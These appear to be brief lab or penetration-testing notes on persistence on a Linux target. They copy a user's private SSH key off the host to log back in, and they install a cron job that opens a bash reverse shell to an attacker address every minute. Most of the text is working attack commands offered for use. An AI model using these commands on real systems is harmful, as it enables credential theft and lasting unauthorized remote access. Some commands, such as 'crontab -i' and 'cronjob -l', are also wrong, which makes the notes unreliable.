Persistence via ssh keys
To download the file from the target machine
scp student@192.168.123.3:~/.ssh/id_rsa .
Give the private key permission
chmod 400 id_rsa
Logging in back with the id_rsa
ssh student@192.168.123.3 -i id_rsa
Persistence via cronjobs
To create a cronjob, a simple cron file has to be created and added and to the crontab
creating the cron file
echo "* * * * * /bin/bash -c 'bash -i >& /dev/tcp/192.168.123.2/1234 0>&1'" > cron
Now, this will run everytime since there are 5 astericks.
To add the cronjob
crontab -i cron
To view the list of cronjobs
cronjob -l